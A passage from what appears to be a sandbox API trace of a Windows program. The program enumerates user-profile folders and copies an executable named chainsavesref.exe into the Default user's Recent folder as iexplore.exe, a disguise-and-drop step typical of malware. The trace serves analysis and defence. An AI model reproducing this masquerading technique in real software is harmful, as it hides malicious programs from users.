ftLastWriteTime.dwLowDateTime=0x791634f0, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0150.276] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa000000c, dwReserved1=0x0, cFileName="All Users", cAlternateFileName="ALLUSE~1")) returned 1 [0150.277] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629b4b20, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x629b4b20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Default", cAlternateFileName="")) returned 1 [0150.277] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Default User", cAlternateFileName="DEFAUL~1")) returned 1 [0150.277] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x286e4016, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x286e4016, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a4ffbc, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0150.277] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x791634f0, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0xf29f86d0, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf29f86d0, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kEecfMwgj", cAlternateFileName="KEECFM~1")) returned 1 [0150.277] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x917fa2ee, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x917fa2ee, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Public", cAlternateFileName="")) returned 1 [0150.277] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0150.277] FindClose (in: hFindFile=0x1bc46ed0 | out: hFindFile=0x1bc46ed0) returned 1 [0150.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0150.277] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0150.277] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0150.277] GetFullPathNameW (in: lpFileName="C:\\Users\\Default", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default", lpFilePart=0x0) returned 0x10 [0150.278] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\*" (normalized: "c:\\users\\default\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629b4b20, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x629b4b20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1bc46ed0 [0150.278] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629b4b20, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x629b4b20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0150.278] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x629dac80, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1 [0150.278] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0150.278] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Contacts", cAlternateFileName="")) returned 1 [0150.278] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1 [0150.278] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda4e0ba, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 1 [0150.278] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd890148c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0150.278] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88db32b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0150.278] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a26f40, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0150.278] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xf3011f30, ftLastAccessTime.dwHighDateTime=0x1d70911, ftLastWriteTime.dwLowDateTime=0xf3011f30, ftLastWriteTime.dwHighDateTime=0x1d70911, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Links", cAlternateFileName="")) returned 1 [0150.278] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Local Settings", cAlternateFileName="LOCALS~1")) returned 1 [0150.279] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda9a36e, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd888f06b, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Music", cAlternateFileName="")) returned 1 [0150.279] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306b6cd1, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306b6cd1, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306b6cd1, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="My Documents", cAlternateFileName="MYDOCU~1")) returned 1 [0150.279] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x306dce32, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x306dce32, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x306dce32, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="NetHood", cAlternateFileName="")) returned 1 [0150.279] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x62d46c20, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0x62d46c20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0xc0000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT", cAlternateFileName="")) returned 1 [0150.279] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0xc103692e, ftCreationTime.dwHighDateTime=0x1ca0451, ftLastAccessTime.dwLowDateTime=0x1dd1880d, ftLastAccessTime.dwHighDateTime=0x1cbf8ec, ftLastWriteTime.dwLowDateTime=0x1dd1880d, ftLastWriteTime.dwHighDateTime=0x1cbf8ec, nFileSizeHigh=0x0, nFileSizeLow=0x400, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG", cAlternateFileName="NTUSER~3.LOG")) returned 1 [0150.279] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x62d46c20, ftLastWriteTime.dwHighDateTime=0x1d70509, nFileSizeHigh=0x0, nFileSizeLow=0x2e400, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG1", cAlternateFileName="NTUSER~1.LOG")) returned 1 [0150.279] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x9012aa61, ftCreationTime.dwHighDateTime=0x1ca042b, ftLastAccessTime.dwLowDateTime=0x9012aa61, ftLastAccessTime.dwHighDateTime=0x1ca042b, ftLastWriteTime.dwLowDateTime=0x9012aa61, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT.LOG2", cAlternateFileName="NTUSER~2.LOG")) returned 1 [0150.280] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8d30919, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8d30919, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TM.blf", cAlternateFileName="NTUSER~1.BLF")) returned 1 [0150.280] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8da2d3a, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8da2d3a, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8e8757c, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000001.regtrans-ms", cAlternateFileName="NTUSER~1.REG")) returned 1 [0150.280] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xf8deeffb, ftCreationTime.dwHighDateTime=0x1ca043d, ftLastAccessTime.dwLowDateTime=0xf8deeffb, ftLastAccessTime.dwHighDateTime=0x1ca043d, ftLastWriteTime.dwLowDateTime=0xf8ead6dc, ftLastWriteTime.dwHighDateTime=0x1ca043d, nFileSizeHigh=0x0, nFileSizeLow=0x80000, dwReserved0=0x0, dwReserved1=0x0, cFileName="NTUSER.DAT{016888bd-6c6f-11de-8d1d-001e0bcde3ec}.TMContainer00000000000000000002.regtrans-ms", cAlternateFileName="NTUSER~2.REG")) returned 1 [0150.280] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2026, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x629b4b20, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x14, dwReserved0=0x0, dwReserved1=0x0, cFileName="ntuser.ini", cAlternateFileName="")) returned 1 [0150.280] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pictures", cAlternateFileName="")) returned 1 [0150.280] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PrintHood", cAlternateFileName="PRINTH~1")) returned 1 [0150.280] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Recent", cAlternateFileName="")) returned 1 [0150.280] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd894d74c, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Saved Games", cAlternateFileName="SAVEDG~1")) returned 1 [0150.280] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x629b4b20, ftCreationTime.dwHighDateTime=0x1d70509, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd88b51cb, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Searches", cAlternateFileName="")) returned 1 [0150.280] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SendTo", cAlternateFileName="")) returned 1 [0150.280] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="STARTM~1")) returned 1 [0150.280] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x30702f92, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x30702f92, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x30702f92, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="TEMPLA~1")) returned 1 [0150.280] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdac04c8, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x62a00de0, ftLastAccessTime.dwHighDateTime=0x1d70509, ftLastWriteTime.dwLowDateTime=0xd8868f0a, ftLastWriteTime.dwHighDateTime=0x1cb892d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Videos", cAlternateFileName="")) returned 1 [0150.280] FindNextFileW (in: hFindFile=0x1bc46ed0, lpFindFileData=0x1bb7e870 | out: lpFindFileData=0x1bb7e870*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0150.281] FindClose (in: hFindFile=0x1bc46ed0 | out: hFindFile=0x1bc46ed0) returned 1 [0150.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e798) returned 1 [0150.281] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e9b8) returned 1 [0150.281] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7ea98) returned 1 [0150.281] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Recent", nBufferLength=0x105, lpBuffer=0x1bb7e540, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Recent", lpFilePart=0x0) returned 0x17 [0150.281] FindFirstFileW (in: lpFileName="C:\\Users\\Default\\Recent\\*" (normalized: "c:\\users\\default\\recent\\*"), lpFindFileData=0x1bb7e840 | out: lpFindFileData=0x1bb7e840*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0150.282] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1bb7e768) returned 1 [0150.286] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Recent\\iexplore.exe", nBufferLength=0x105, lpBuffer=0x1bb7e7f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Recent\\iexplore.exe", lpFilePart=0x0) returned 0x24 [0150.286] GetFullPathNameW (in: lpFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\comproviderRuntimecommon\\chainsavesref.exe", lpFilePart=0x0) returned 0x2d [0150.286] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Recent\\iexplore.exe", nBufferLength=0x105, lpBuffer=0x1bb7e640, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Recent\\iexplore.exe", lpFilePart=0x0) returned 0x24 [0150.286] CopyFileW (lpExistingFileName="C:\\comproviderRuntimecommon\\chainsavesref.exe" (normalized: "c:\\comproviderruntimecommon\\chainsavesref.exe"), lpNewFileName="C:\\Users\\Default\\Recent\\iexplore.exe" (normalized: "c:\\users\\default\\recent\\iexplore.exe"), bFailIfExists=0) returned 1 [0151.002] GetFullPathNameW (in: lpFileName="C:\\Users\\Default\\Recent\\9db6e019d4f04e", nBufferLength=0x105, lpBuffer=0x1bb7e420, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Default\\Recent\\9db6e019d4f04e", lpFilePart=0x0) returned 0x26 [0151.002] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1bb7e938) returned 1 [0151.002] CreateFileW (lpFileName="C:\\Users\\Default\\Recent\\9db6e019d4f04e" (normalized: "c:\\users\\default\\recent\\9db6e019d4f04e"), 